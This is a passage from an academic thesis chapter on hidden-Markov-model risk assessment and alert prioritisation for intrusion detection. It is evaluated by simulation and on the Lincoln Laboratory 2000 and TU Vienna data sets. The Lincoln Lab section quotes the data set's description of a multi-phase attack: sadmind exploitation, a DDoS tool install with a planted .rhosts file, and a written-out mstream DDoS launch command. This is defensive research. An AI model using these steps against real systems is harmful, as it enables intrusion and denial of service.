R0 =
1
5.8275
0.65 +
1
36
3
1
5.8275
+
1
36
= 0.977
σ20 =
1
1
5.8275
+
1
36
= 5.016
We see that the mean for the weighted risk is closest to the mean for sensor 1. This
is intuitive, as sensor 1 has the least variance. We can also see that the variance of
the weighted risk is smaller than that of the individual sensors.
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3.5 Alert Prioritization
Assume that the alerts from an IDS are considered to be observations in the HMM.
Each processed alert is assigned a priority according to the risk of the involved
assets. If an asset is assessed to have a high risk, all alerts involving that asset
will receive a high priority, whereas alerts involving low risk assets will receive a
low priority. The alert receives a prioritization number according to the assets with
the highest risk number. The priority Pa for an observation y at time t can be
determined as follows
Py = max(Ra,t,Rb,t), (3.7)
where a is the source IP address and b is the destination IP address of the observa-
tion y.
Example 3.6
In a network with both high and low value hosts, the priority of an alert is decided
by the current risk of the affected host, which is in turn a function of the cost vector
and the estimated security state. An alert a1 at time t for the student database in
Example 3.4 would receive a priority Pa1 = 1.75, whereas an alert a2 for the student
laptop would receive priority Pa2 = 0.25. If both the source and destination address
of an alert are monitored by the risk assessment system, the priority is assigned to
be the higher of the two risk values.
3.6 Simulation Experiments
The simulation implements unweighted, multisensor, real-time risk assessment (see
Section 3.4.2) with continuous-time approximation (see Section 3.3.2). The assets in
this chapter are represented by individual hosts, modeled as S = {G,A,C}, where
G indicates the state where a host is not affected by any security incidents, A
indicates that a host is being attacked, and C indicates that a host is compromised.
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3.6.1 The Simulator
In order to demonstrate and validate the theory in a realistic setting, we imple-
mented a discrete-time, discrete-event simulator. This enabled us to simulate the
security events and risk assessment process of large networks over a longer period
of time. The states generated by the simulator are referred to as the true security
states of the assets, whereas the estimated security state distribution refers to the
state distribution estimated by Algorithm 3.1. Consequently, by applying (3.5), the
true risk refers to the risk value computed from the true security state, and the
estimated risk refers to the risk value computed from the estimated security state
distribution. The true and estimated risk of the simulated systems are compared
in order to study the validity of the method.
The simulator is implemented using the JSIM [B167] discrete-event simulation
framework for Java. JSIM consists of a Scheduler, where Events are scheduled
to be performed on Entities. The entities of the risk-assessment simulation are
Assets (representing hosts) and Sensors (representing IDS sensors), and the events
are the StateEvent, the SensorProcessEvent, the ObservationEvent, and the
RiskUpdateEvent. The simulator can be divided into three phases: initialization,
execution, and reporting. A class diagram showing an overview of the simulator
classes is depicted in Figure 3.2. Figure 3.3 depicts the scheduling of the Events.
The Java risk assessment implementation is included in Appendix B for reference.
During initialization, each Asset and Sensor is initialized with appropriate
HMM model parameters, i.e., P and pi for Assets and Qk for Sensors. For each
Asset, an initial state x1 ∈ S is chosen, according to its initial state probability
distribution pi. RiskUpdateEvents (events that cause an update of the true security
state of the Assets), SensorProcessEvents (events that cause sensors to estimate
a new security state distribution by using Algorithm 3.1), and RiskUpdateEvents
(events that cause Assets to update their assessed risk according to (3.5)), are
scheduled for each time interval of the simulation.
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Figure 3.2: Simulator class diagram.
Figure 3.3: Overview of scheduler, events, and entities.
At each time t during the execution, the StateEvents cause Assets to trans-
fer to their next state xt+1, based on their transition probability matrix P. These
states are sensed by the Sensors, that in turn schedule ObservationEvents, rep-
resenting a Sensor observations ykt based on the true state and the observation
probability matrix Qk. The ObservationEvents cause the Sensors to read and
queue the observations for further processing. A SensorProcessEvent for every
sensor is scheduled for each time interval and causes each Sensor to process the
first Observation in its queue and update its state distribution using Algorithm 3.1.
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Finally, for each time instant t, the RiskUpdateEvents cause every Asset to update
their risk value based on the input from one or more Sensors. The current risk
value Rt is computed in accordance with (3.5) and stored in the SimStatistics
class. Figure 3.3 shows the sequence of events acting on the entities (assets and
sensors).
The simulation results are stored in the SimStatistics object during the sim-
ulation and written to file for further analysis when the simulation has executed.
The risk values for the Assets, as well as the aggregated risk level of the entire net-
work, is stored for for each time instant t. Additional processing, such as correlation
analysis, is also performed at this stage.
3.6.2 Implementation Issues
This section provides a discussion of some design considerations for the risk-
assessment simulation implementation.
Observation Message Queues As discussed in Section 3.3.2, each Sensor must
be associated with an observation message queue, in order to handle bursts of
alerts without data loss. Whenever a Sensor receives an observation message for
a particular asset, an observation is put in a queue and processed on a first-come
first-serve basis. Only the first observation in the queue is processed by each sensor
in each time interval ∆. These mechanisms are implemented in the simulator, but
they would be best studied using experimental or real traffic data. The discrete-
time simulator described in this chapter consequently does not simulate alert burst,
but this is covered in Section 3.8.
Null Observations Most IDS sensors do not provide observations indicating a
good state; they only provide warnings and alerts. In this implementation, the risk
assessment process therefore produces and interprets a “null” observation whenever
the message queue of a sensor is empty. As will be seen in the simulated example
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in Section 3.6.3, one can usually assume that the null observation indicates a good
state.
Profiles For large networks, estimating initial parameters for all assets and sen-
sors can become very time-consuming. To address this, we implemented the
AssetProfiles and SensorProfiles Java classes, which contain sets of HMM
parameters that are common to several assets and sensors. As will be seen in Sec-
tion 3.6.3, there can be profiles for different types of hosts (such as web-servers,
routers, workstations, and laptops), as well as for different types of sensors (such
as network and host IDSs). For now, the profiles are implemented directly in Java
as part of the simulator, but ideally the profiles should be described as part of an
overall network model using a suitable language, such as XML.
Scaling In the actual implementation of Algorithms 3.1 and 3.2 we used a scaled
version of the forward variable: αt(i) = Ctαt(i), where Ct = (
∑N
i=1 αt(i))
−1. The
purpose is to keep the computations within the precision range of the computer. It
can be shown that these scaling coefficients cancel out [A97, pp. 272].
3.6.3 Examples and Simulation Results
In this example, real-time risk assessment is simulated in order to demonstrate the
use and to evaluate the performance of the approach. The simulated network is a
medium size network with several different hosts and an Internet gateway. In order
to efficiently manage a high number of hosts, SensorProfiles and AssetProfiles
are defined for the different types of sensors and assets.
The network consists of an Internet gateway (router), two publicly available
web-servers on a demilitarized zone (DMZ), two protected file-servers, as well as
ten workstations and ten laptops (see Figure 3.4). Each host type is described
by an AssetProfile, as discussed above. The profiles represent different levels
of exposure to attacks and compromises, as well as the particular costs associated
to the assets’ states. For the purpose of this example, we assume that the state
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space of each asset can be represented by a simple Markov model with the states
G (good), A (under attack), and C (compromised), i.e., S = {G,A,C} . State
G means that the asset is up and running securely and that it is not subject to
any kind of attack activity. In contrast to [A56], we assume that assets are always
vulnerable to attacks, even in state G. As an attack against an asset is initiated, it
will move to security state A. An asset in state A is subject to an ongoing attack,
possibly affecting its behavior with regard to security. Finally, an asset enters state
C if it has been successfully compromised by an attacker. An asset in state C is
assumed to be completely at the mercy of an attacker and subject to any kind of
confidentiality, integrity and/or availability breaches.
Assume that the router and file servers are configured to be relatively secure (i.e.,
the transition probabilities to state C are small), and that the laptops, workstations
and web servers are particularly susceptible to attacks (i.e., the transition proba-
bilities to state A are relatively high). All assets, with the exception of the router,
are monitored by both a NIDS and a HIDS, and the sensor types are generalized by
SensorProfiles. The router is only monitored by a NIDS. The observation symbol
sets are the same for both the NIDS and the HIDS: V NIDS = V HIDS = {φ, a, c},
where symbol a is an indication of state A, c an indication of state C, and φ (the
“null” observation) an indication of the good state G. In the examples beneath, we
differentiate between λgen, the underlying HMM that generates the true state tran-
sitions of an asset and controls the behavior of its sensors, and λest, the estimated
HMM used in the risk assessment procedure. As pointed out in Section 3.3.2, the
choice of an appropriate time interval is essential. For the purpose of this simulation,
we use ∆ = 1 s.
Two simulation experiments are presented below. These are based on randomly
generated state sequences and corresponding observation messages, according to
λgen. Both simulations have a time-span of 24 hours (86400 s.). The cost value
vectors C = (C(G), C(A), C(C)) for the assets are Crouter = (0, 4, 8), Cwebserver =
(0, 3, 6), Cfileserver = (0, 1, 10), Cworkstation = (0, 2, 4) and Claptop = (0, 1, 2), so that
56 3.6. SIMULATION EXPERIMENTS
Figure 3.4: Overview of example network topology.
the total maximum risk for the network is Rt = 100. The HMM model parameters
P, Qk, and pi for the assets and sensors have been assigned manually. Algorithms
for estimating and learning these parameters are needed, but this is not further
developed in this thesis (see Section 3.9.3)
Risk Assessment with Known HMM Parameters
In the first example, λest = λgen for all assets and sensors, i.e., we use the same
HMM both for generating state transitions and observations and for assessing the
current risk. In other words, the risk-assessment in this example is based on perfect
knowledge of the state and observation generation parameters. This is obviously
not a realistic scenario, but it allows us to study the performance of the method
under optimal circumstances. As an example of the model parameters used in the
simulation experiment, the HMM parameters used for the NIDS SensorProfile
and the router AssetProfile are
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QNIDSrouter−gen =

qG(φ) qG(a) qG(c)
qA(φ) qA(a) qA(c)
qC(φ) qC(a) qC(c)
 =

0.6 0.2 0.2
0.2 0.5 0.3
0.1 0.1 0.8
 ,
pirouter−gen = (piG, piA, piC) = (1, 0, 0),
Prouter−gen =

pGG pGA pGC
pAG pAA pAC
pCG pCA pCC

=

0.800000 0.199995 0.000005
0.700000 0.299995 0.000005
0.000005 0.000005 0.999990
 .
The laptops, workstations and web servers are likely to get compromised early on
during the simulation, whereas the file servers and the router are more resistant to
successful attacks. Figure 3.5(a) depicts the assessed risk for the network described
above, simulated over a period of 24 hours (86400 s.). All hosts are assumed to
start in the state G, i.e., pi = (1, 0, 0) for all assets. Naturally, the development
of the network risk varies between simulation executions, as the state generation is
probabilistic. Since all assets have a close to absorbing state C, the risk level tends
to increase over time, approaching the total maximum risk level.
Based on a comparison between the estimated risk level (see Fig. 3.5(a)) and the
true risk level (see Fig. 3.5(b)), it is possible to compute the correlation coefficient
as a measure of the degree to which the two data sets correlate. Based on 20
simulation runs, the mean correlation coefficient is 0.969 with variance 0.0003 and
standard deviation 0.0179. This indicates that the estimation is highly accurate
with a high certainty. This is to be expected, as the HMM parameters are known
in advance (i.e., λest = λgen).
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Figure 3.5: Assessed and true risk for example A.
Risk Assessment with Estimated HMM Parameters
Assume that the exact HMM parameters used to generate the state transitions and
produce observation messages, λgen, are unknown, and that the HMM parameters
for the risk assessment, λest, have to be estimated. In this way, we can study the
systems ability to assess risk under inaccurate estimation parameters, i.e., when
λest 6= λgen. An example of the estimated parameters is
QNIDSrouter−est =

0.950 0.030 0.020
0.050 0.900 0.050
0.020 0.020 0.960
 ,
pirouter−est = (0.7, 0.2, 0.1),
Prouter−est =

0.700 0.200 0.100
0.500 0.450 0.050
0.002 0.002 0.996
 .
Note that in order to make the results of the two simulation experiments com-
parable, the parameters used for state generation and for producing observation
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messages in this example (λgen) are identical to the ones in the previous example.
Figure 3.6(a) shows the assessed risk when using the estimated λest, and Fig-
ure 3.6(b) shows the true risk generated during the simulation according to λgen.
Figure 3.7(a)-3.7(b) show the same results, but for a shorter period of time (30
min.). By comparing these, it is possible to see how close the assessed risk value is
to the true risk level of the network. Although the estimation parameters in λest
differ from the underlying HMM λgen, one can conclude from Figure 3.6(a)-3.7(b)
that the estimated risk generally follows the true risk. Note that the reason why the
estimated risk is higher than the true risk during the first 60 s. of the simulation
(see Figure 3.8(a)-3.8(b)) is the inaccurate estimated initial state distributions piest
for the assets. However, as can be seen in Figure 3.6(a)-3.6(b), the total risk value
for the network approaches the true risk value over time, regardless of the initial
states of the assets.
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Figure 3.6: Assessed and true risk for example B (24 h)
Based on 20 simulation runs with the same model parameters, the mean corre-
lation coefficient for the estimated risk value in this example is 0.777, with variance
0.010 and standard deviation 0.102. Compared to the previous example, the corre-
lation coefficient is lower, but it still indicates a high positive correlation. Note that
the variance and the standard deviation are higher than in the previous example.
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Figure 3.7: Assessed and true risk for example B (30 min)
3.7 Prototype Implementation
This section discusses the architecture of the real-time risk assessment system and
how it is integrated into the STAT framework. Some implementation details are
also presented. The prototype implements single sensor risk-assessment (see Sec-
tion 3.4.1) with continuous-time approximation (see Section 3.3.2). Two of the hosts
in the first data set is in fact covered by multiple sensors, but they are modeled as
a single sensor for simplicity. As in Section 3.6, the assets are represented by indi-
vidual hosts. However, the hosts in this example are modeled as S = {G,P,A,C}.
G represents the state where there are no security incidents, P represents the state
where the host is probed or scanned, A represents the state where the host is under
attack, and C represents the state where the host is compromised.
3.7.1 System Architecture
The risk-assessment system receives input events from multiple IDS sensors through-
out the protected network. The alerts generated by the sensors are either in the
IDMEF format [A39] or in a format native to the sensor. These are converted into
IDMEF alerts before further processing. IDS alerts from the sensors are collected
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Figure 3.8: Assessed and true risk for example B (60 s)
by the MetaSTAT collector [A133, A134] through network connections. MetaSTAT
merges the different alert streams, and the aggregate stream is fed to the risk-
assessment system. The output of the system is a stream of prioritized alerts. The
main advantage of this system is that security administrators are able to identify
the most important alerts by sorting them by their prioritization value.
The prototype is implemented as a set of modules in the STAT framework [A133,
A134], as shown in Figure 3.9. The system consists of three different modules: Alert
Classification, Spoof Detection, and Risk Analysis. The functions of each of these
modules are explained in detail below.
STAT
Sensors
IP
Detection
Spoof 
Alert 
Classification
Risk
Assessment
Prioritized
Alerts
Figure 3.9: Overview of the system architecture
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Alert Classification
The classification module augments the incoming alerts with a classification at-
tribute. The classification assigned to a given alert is dependent on the impact
that the attack referenced in the alert has on the network. The system utilizes the
following classes of attacks: successful recon limited, successful user, and success-
ful admin. The IDMEF standard specifies an optional classification attribute, and
the classification module uses this attribute if it is set by the intrusion detection
sensor. Unfortunately, most sensors do not provide a value for the classification at-
tribute. When the classification module encounters alerts with no classification, the
missing attribute is looked up in a database. This database contains a mapping from
sensor-type/alert-name tuples to the corresponding class. The mapping database
can be created manually by looking at the rules of the deployed intrusion detection
sensors and classifying each rule as either referring to a successful recon limited,
successful user, or successful admin attack. The database can also be created auto-
matically if the rules of the intrusion detection sensors contain a CVE id, which is
often the case. The CVE database can be queried for the description of the attack
and the classification can be filled in from the description.
IP Spoof Detection
A problem that may occur is that some alerts do not contain the real IP of the host
that caused the IDS alert to be generated. This happens when the attacker host
spoofs the source IP of the packets that are part of the attack, as is the case in
Section 3.8.1. A network IDS monitoring the attack traffic sees the attack coming
from the spoofed IP and reports the spoofed IP as the attacker. The spoof detection
module detects spoofed alerts and attempts to infer the real IP of the attacker.
Spoof detection can be performed by keeping track of what IP addresses each
host is utilizing. An anti-spoofing tool, such as arpwatch, can be utilized to create
a database of what IPs are associated with each Ethernet address. When the spoof
detection module of the risk assessment system receives an alert, the database is
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consulted to check if the attacker IP contained in the alert matches the Ethernet
address in the alert. A problem with this approach is that most intrusion detection
alerts do not contain Ethernet addresses and that packets with spoofed Ethernet
addresses would not be detected.
The approach taken in this chapter is to check whether the IPs referenced in the
alert are part of the protected network. If neither the attacker nor the victim is part
of the protected network, the attack must either be spoofed or an outside attacker
is attacking another outsider using the protected network. Since most networks do
not allow traffic from third parties to transit their network, the second case is highly
unlikely, and one can conclude that spoofing has taken place. Note that this spoof
detection mechanism is unable to catch instances of spoofing where the victim of
the spoofing is within the protected network. When a spoofed alert is detected, the
real IP of the attacker can be fetched from the IP mapping database if Ethernet
addresses are present in the alerts. In the case of alerts without Ethernet addresses
the real attacker cannot easily be identified. In this case, any of the hosts in the
protected network could be the attacker. The spoof detection module handles this
by associating the alert with every host in the subnet where the attack was detected.
3.7.2 Risk Assessment
After spoof detection is performed, the alerts are processed by the risk assessment
module. The module keeps one HMM for each of the protected hosts. When
an alert is received, the models for the hosts referenced in the alert are looked
up. For each of these hosts, the HMM is updated with the latest observation.
Finally, the risk value for each of the affected hosts is calculated and the alert
is augmented with the maximum of these risk values before the alert is sent to
the administrator. The real-time risk assessment implementation is based on the
algorithms in Section 3.3. Only one observation probability matrix Q is defined for
each host. For hosts with multiple sensors (Mill and Pascal in Section 3.8.1), all
sensors have been incorporated into one Q.
64 3.8. EXPERIMENTS
The implementation is integrated into the STAT framework, as described
above. It consists of the following C++ classes: RiskObject (representing a host),
RiskSensor (representing an IDS sensor), and RiskObservation (representing a
sensor observation). The implementation receives IDMEF messages from the frame-
work, and processes these based on the source and destination IP addresses, sensor
identities, alert timestamps, and the alert impact values. The C++ code implement-
ing the core risk assessment functionalities is included in Appendix C for reference.
As the HMMs are discrete-time models, the risk is updated for every second for
each host, based on the available alerts relevant to each host. A relevant alert either
has the IP address of the host in question as its source or destination IP address, or
it originates from a host-based IDS on the host. If no alert is available for a host, the
system uses the default observation “no alert” as input to the HMM computation.
If more than one alert is received for a host during the 1 s. interval, the first alert is
processed and the remaining alerts are queued for the next intervals. For the sake
of responsiveness, the maximum queue size is set to 60 seconds for the purpose of
this section. All new alerts will be discarded when the maximum queue size has
been reached. This approach is chosen in order to be able to handle alert bursts,
such as the outbound DDoS described in Section 3.8.1. Note that the problem of
alert queues can be mitigated by choosing a sufficiently short time interval for the
hidden Markov models.
3.8 Experiments
The purpose of this section is to validate the proposed method and to demonstrate
how the proposed system can be used on real-life data. For the experiments two
different data sets were used: the Lincoln Laboratory 2000 data set and traffic data
from the Technical University of Vienna (TU Vienna). The first data set contains
experimental data, whereas the second contains data from a real network. The
advantage of using the Lincoln Labs data is that it contains a truth file [B161].
Therefore, the results can be checked against these values. The TU Vienna data
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set validates the feasibility of using the approach on real data.
The basic experimental approach was to determine the HMM parameters Q, P,
pi, and C for the Lincoln Laboratory data and to verify that the results produced
by our method correspond to the information gleaned from the truth file. The
same parameters were then used on the real traffic data from TU Vienna in order
to validate the model’s parameters in a realistic setting. By using the same HMM
parameters for both data sets, where applicable, it is possible to compare the results
obtained from the two cases.
The outcome of the experiments are highly dependent on the HMM parameters
and the alert classification, in addition to the alert and traffic data used. The
HMM parameters used in these examples were determined manually based on the
authors’ experience with the models. The following general guidelines were used in
determining the appropriate values for the parameters:
• The risk level for a host should be close to zero when there are no alerts. This
implies that the probability of being in state G should be close to 1 when
there are no alerts.
• When state C occurs, the model should stay in this state longer than it would
for states P and A.
• In order to make the results comparable, the cost vector for all hosts are
identical. In a real setting, the cost vectors for different assets would vary
depending on their value.
Section 3.8.1 presents the details of the parameters used and the results of
applying the method to the Lincoln Laboratory 2000 data set. Section 3.8.2 presents
the same for the TU Vienna data.
3.8.1 Lincoln Laboratory Scenario (DDoS)
The Lincoln Laboratory 2000 data set [B161] is based on experimental network
traffic for a network of four class C subnets. The data set contains a network
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dump, as well as Solaris BSM [A122] system logs. This data has been processed with
the Snort network-based IDS and the USTAT host-based IDS in order to generate
IDMEF alerts. The resulting data set contains more than three hours of intrusion
detection data for subnets 172.16.112.0/24, 172.16.113.0/24, 172.16.114.0/24, and
172.16.115.0/24. The hosts Mill (172.16.115.20), Pascal (172.16.112.50), and Locke
(172.16.112.10) are attacked and compromised, and they are then used to launch a
DDoS attack against an external host using spoofed IP addresses. There are two
Snort network IDS sensors (an outside sensor and a DMZ sensor), and the hosts
Mill and Pascal are equipped with instances of the USTAT host-based IDS.
Attack Phases
The data set contains an attack in five phases (see [B161]). The phases are outlined
below with excerpts from the original description.
IP sweep approximate time 09:45 to 09:52: “The adversary performs a scripted
IPsweep of multiple class C subnets on the Air Force Base. (...) The attacker sends
ICMP echo-requests in this sweep and listens for ICMP echo-replies to determine
which hosts are up.”
sadmind ping approximate time 10:08 to 10:18: “The hosts discovered in the
previous phase are probed to determine which hosts are running the sadmind remote
administration tool. (...) Each host is probed, by the script, using the ping option
of the sadmind exploit program.”
Break in to Mill, Pascal, and Locke approximate time 10:33 to 10:34: “The
attacker then tries to break into the hosts found to be running the sadmind service
in the previous phase. The attack script attempts the sadmind Remote-to-Root
exploit several times against each host (...) there are 6 exploit attempts on each
potential victim host. To test whether or not a break-in was successful, the attack
script attempts to login.”
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Installation of DDoS tools on Mill, Pascal, and Locke approximate time
10:50: “Entering this phase, the attack script has built a list of those hosts on which
it has successfully installed the hacker2 user. These are Mill, Pascal, and Locke. For
each host on this list, the script performs a telnet login, makes a directory (...) and
uses rcp to copy the server-sol binary into the new directory. This is the mstream
server software. The attacker also installs a .rhosts file for themselves.”
Outbound DDoS with spoofed source IP addresses approximate time
11:27: “In the final phase, the attacker manually launches the DDoS. This is per-
formed via a telnet login to the victim on which the master is running, and then,
from the victim, a telnet to port 6723 of the localhost. (...) The command mstream
131.84.1.31 5 causes a DDoS attack, of 5 seconds duration (...) to be launched by
all three servers simultaneously.”
Observation Messages
Based on the available alert data and the output from the alert classification pre-
processor, we use the following observations in the implementation:
1. Suspicious Snort alert: All alerts that are not explicitly classified.
2. Compromise Snort alert: All alerts that are classified as “successful admin”.
3. Scan Snort alert: All alerts that are classified as “successful recon limited”.
4. host-based alert (only available for hosts Mill and Pascal): The data set only
contains the alert types “unauth delete” and “restricted dir write”.
5. Outbound Snort alert: All Snort alerts originating from an internal host.
6. No alert: This observation is assumed whenever there are no other alerts to
be processed for a host.
The classification could be made more fine-grained, but it is kept simple in the
prototype for demonstration purposes. In particular, the output of the host-based
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USTAT IDS in a real setting would generate a wide range of different alert types.
In this example, however, we have made the simplification of modeling the USTAT
sensor as producing one observation type only. Similarly, we have made the as-
sumption that outbound Snort alerts reduce the probability of being in the “good”
state.
Model Parameters
The monitored network consists of 1016 IP addresses, each modeled by an HMM.
The transition probability matrices P, observation probability matrices Q, initial
state distribution vectors pi, and the cost vectors C are the same for each host,
with the exception of the hosts Mill and Pascal, which incorporate the possibility
of receiving USTAT alerts. As an example, the host Mill is modeled as follows:
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PMill =

pGG pGP pGA pGC
pPG pPP pPA pPC
pAG pAP pAA pAC
pCG pCP pCA pCC

=

0.992995 0.004 0.003 0.000005
0.004 0.991995 0.004 0.000005
0.003 0.004 0.992995 0.000005
1× 10−34 1× 10−34 1× 10−34 1− 3× 10−34
 ,
QMill =

qG(1) qG(2) qG(3) qG(4) qG(5) qG(6)
qP (1) qP (2) qP (3) qP (4) qP (5) qP (6)
qA(1) qA(2) qA(3) qA(4) qA(5) qA(6)
qC(1) qC(2) qC(3) qC(4) qC(5) qC(6)

=

0.05 0.0001 0.02 0.01 0.02 0.8999
0.05 0.0001 0.25 0.01 0.02 0.6699
0.1 0.005 0.1 0.03 0.03 0.735
0.02 0.05 0.04 0.04 0.05 0.8
 ,
piMill = (piG, piP , piA, piC) = (1, 0, 0, 0),
CMill = (cG, cP , cA, cC) = (0, 25, 50, 100).
From PMill, we can see that the probability of entering the state C is relatively
low, but that once entered, the probability of leaving this state is very low. From
QMill, we can see that the scan observation is relatively likely to occur in the P
state, that the suspicious and scan observations are relatively likely to occur in the
A state, and that the USTAT and outbound observations have a relatively high
probability in the C state. Note that once entered, the C state is likely to last for
a long time. From piMill and CMill, we can see that the initial state of the host is
G with corresponding cost 0. The maximum cost for the host is 100. Most of the
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hosts do not have a host-based IDS and are modeled with the following observation
probability matrix (host Locke is given as an example):
QLocke =

0.05 0.0001 0.02 0 0.02 0.9099
0.05 0.0001 0.25 0 0.02 0.6799
0.1 0.005 0.1 0 0.03 0.765
0.02 0.05 0.04 0 0.05 0.84

For the purpose of this example all hosts, except the hosts with USTAT, have
the exact same model parameters. This is done for demonstration purposes and in
order to provide comparable results between the hosts. In a real setting, the model
parameters of the hosts would vary according to their security configurations, the
observation probability parameters vary according to the sensors used, and the cost
vector would be determined by the value of the assets and the consequence of the
different security states.
Results
The above models were implemented and used to perform real-time risk assessment
on the Lincoln Laboratory data set. The entire data set has a duration of 11836
s., and a total of 36635 alerts, 84 of which are USTAT alerts. The remaining are
Snort alerts. As outlined above, the data set consists of an attack in five phases. By
inspecting the data set, we can see that the phases correspond to the approximate
time periods 1500 - 1920 s. (the IP sweep), 2880 - 3480 s. (the sadmind ping),
4380 - 4420 s. (the break in to Mill, Pascal, and Locke), 5400 s. (the installation
of DDoS tools), and 7620 s. (the outbound DDoS).
Figure 3.10 shows the total assessed risk for the Lincoln Laboratory data for
the full duration of the data set. The figure shows a sum of the risk for all hosts
in the four subnets (in total 1016 hosts). The break-ins performed against Mill,
Pascal, and Locke are clearly visible as peaks of risk activity. The sadmind ping
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also introduces a peak in the data, but the IP sweep and the installation of DDoS
tools are hardly distinguishable from the remaining activity. Note that the system
seems to have a minimum risk of approximately 1200 in the long run. This is
caused by a stable security state with risk level 1.09 for the individual hosts, given
a sufficiently long interval of only “no alert” observations. The stable security state
risk for the entire network is consequently 1107. The difference can be explained by
the fact that the host 172.16.114.1 has a high amount (more than 2000) of outbound
ICMP related alerts. As a router, this host should probably have different HMM
parameters then the other hosts.
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Figure 3.10: Total assessed risk for Lincoln Labs data set.
Figure 3.11 (a), (b), and (c) show the assessed risk for the hosts Mill, Pascal,
and Locke, respectively. The hosts Mill and Pascal have host-based IDSs (USTAT)
that provide several alerts during the experiment. This can be seen in Fig. 3.11 (a),
(b), and (c), as the host Locke has far less activity than the other two. Phase 3 and
5 of the attack are clearly marked with the maximum risk activity value (100) for
all three hosts. Phase 2 and 4 are also visible as peaks, whereas phase 1 is hardly
discernible from the other activity in Fig. 3.11 (a) and (b), and not visible at all in
(c). Note that Pascal (Fig. 3.11 (b)) shows more peaks than Mill (Fig. 3.11 (a)).
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This is caused by the fact that Pascal produces 70 USTAT alerts, while Mill only
produces 14.
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(a) Assessed risk for host Mill.
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(b) Assessed risk for host Pascal.
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(c) Assessed risk for host Locke.
Figure 3.11: Real-time risk assessment for Lincoln Labs data set.
Figure 3.12 (a) and (b) show the assessed total network risk and the assessed risk
for Mill at the approximate time of the compromise (4000s to 6000s). The graphs
correspond to Fig. 3.10 and 3.11 (a), but zoom in on the time period. Fig. 3.12 (b)
shows the two peaks corresponding to phase 3 and 4 of the attack.
By counting the priority of the alerts for the entire data set, we can evaluate the
performance of the alert prioritization mechanism. However, for the purpose of the
prioritization results, we do not consider the outbound DDoS attack with spoofed
IP addresses and the outbound alerts from the router with IP address 172.16.114.1.
The outbound DDoS attack alerts represents 93% of the total alerts, and are all
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(a) Assessed network risk showing system
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(b) Assessed risk showing host Mill com-
promise.
Figure 3.12: Lincoln Labs data set showing period of time of compromise.
marked with the highest priority. The IP address 172.16.114.1 is discussed above.
It has a high number of alerts (6% of the total amount), and they would also all
be marked as maximum priority alerts. Having filtered out these alerts, 52.49% of
the alerts are assigned priority below 20, 28.87% priority between 20 and 40, 6.49%
priority between 40 and 60, 2.35% priority between 60 and 80, and 9.81% priority
between 80 and 100. It is clear that the alert prioritization is successful in that only
a small percentage of the alerts are assigned high priority values. The majority of
the alerts are marked as low priority.
We see that the risk assessment method with the current configuration and alert
classification parameters is able to assess the risk and detect several of the security
relevant incidents outlined above. In particular, we see that the model is capable of
assigning the appropriate maximum risk values to the two most critical incidents:
the compromise and the outbound DDoS attack with spoofed IP addresses.
3.8.2 Real Traffic Data from TU Vienna
The second data set is based on real network traffic from the Technical University
of Vienna [A71]. The data set contains a trace of nine days for a class B network.
However, in this experiment we have only included three days worth of data from one
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class C network. The three days of data were selected as there was no interruptions
in the monitoring data for this period, and it was ensured that the selected class C
network had a wide range of hosts and services. The limitations were done in order
to keep the resource demands of the experiment at an acceptable level. There were
no known security incidents during this period. The IDS used in this setup is Snort
with the same signature set as in the previous example. The model parameters
are also the same as in the previous example, with the exception that there are no
host-based IDSs in this setup.
Results
Figure 3.13 shows the assessed risk for the entire network for the full three day
period. The two periods of increased risk activity are caused by an increasing
amount of outbound alerts, as seen in Figure 3.14 (c). We see that the risk seems
to have a lower bound at a level of about 280. This lower bound is the total
risk associated with the stable security state of the individual host HMMs. As in
Section 3.8.1, the individual stable state risk for a host is 1.09, and the total stable
state risk for the network is consequently 276.86.
Figure 3.14 (a), (b), (c), and (d) show the assessed risk for a duration of 3.5
hours, corresponding to the second period of increased activity in Figure 3.13.
Figure 3.14 (a) shows the risk activity for the full network, indicating three peaks
of increased risk and some periodic fluctuations. Figure 3.14 (b) shows the risk
activity for a host with no alert activity. Figure 3.14 (c) shows the risk activity
for a host with outbound alerts that lead to several peaks of maximum risk for
the host. Based on the underlying traffic data, it has been determined that these
alerts are in fact false alerts from Snort caused by a specific user pattern. Finally,
Figure 3.14 (d) shows the risk activity for a web server with periodic peaks of risk
values between 20 and 40. This is caused by probing activity directed at the web
server. This activity is present during the entire period, and is a contributing factor
to the fluctuations in Figure 3.13.
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Figure 3.13: Total assessed risk for class C subnet (3 days).
For this data set, 46.35% of the alerts are assigned priority below 20, 49.78% pri-
ority between 20 and 40, 1.29% priority between 40 and 60, 0.08% priority between
60 and 80, and 2.49% priority between 80 and 100. As for the previous example, it
is clear that the alert prioritization is successful in that only a small percentage of
the alerts are assigned high priority values.
We see that the approach is applicable to data from real network traffic. How-
ever, this example demonstrates that the proposed model is dependent on the ac-
curacy of the underlying IDSs, and false positives and negatives affect the results of
the risk assessment. In this experiment, we have reused the HMM parameters from
the Lincoln Laboratory example. This allows us to compare the performance of the
model under similar circumstances. However, this is not an optimal approach for
this data set, as the parameters should be estimated specifically for the monitored
network.
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(b) Assessed risk for host with no alerts.
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(c) Assessed risk for host with outbound
alerts.
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(d) Assessed risk for a web server.
Figure 3.14: Assessment for a real class C subnet (3.5 hours).
3.9 Discussion
This section evaluates some aspects of the proposed approach, and points to areas
of future research. This chapter has presented an approach to real-time network
risk assessment that determines the risk level of a network as the composition of the
risks of individual hosts, providing a precise and fine-grained model for risk assess-
ment. The model is probabilistic and uses hidden Markov models to represent the
likelihood of transitions between security states. As a prototype, the risk assess-
ment approach has been tightly integrated with the STAT framework and results
of the risk assessment are used to prioritize the IDS alerts. Finally, the approach
has been evaluated using both simulations, as well as synthetic and real-world data.
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Although experiments have been run using real-world traffic data, the system has
not yet been tested on-line with live traffic.
3.9.1 A Comparison to a Naive Approach
The network risk assessment approach presented in this chapter provides a quan-
tification of the risk level of hosts in a network. An alternative, naive approach to
this problem could involve counting alerts and assigning a value according to the
assumed impact of the alerts. A decay function could be used to facilitate a gradual
decrease in risk to avoid a non-decreasing risk situation. The proposed approach
provides several advantages over the naive approach. The primary advantage is
that HMMs provide an established framework for state estimation, modeling both
the probabilities of entering certain states, as well as the probabilities of receiving
different observations in each state, effectively providing a framework for represent-
ing the false-positive and false-negative effects of IDSs. The state modeling and
transition probabilities can also be related to traditional risk assessment method-
ologies. Finally, the use of learning algorithms and parameter re-estimation can be
employed to tune the system automatically.
3.9.2 Managing Risk with Automated Response
In order to achieve effective incident response, it must be possible to effectively
initiate defensive measures, for example by reconfiguring the security services and
mechanisms in order to mitigate risk. Such measures may be manual or automatic.
An information system or network can be automatically reconfigured in order to
reduce an identified risk, or the system can act as a support system for system and
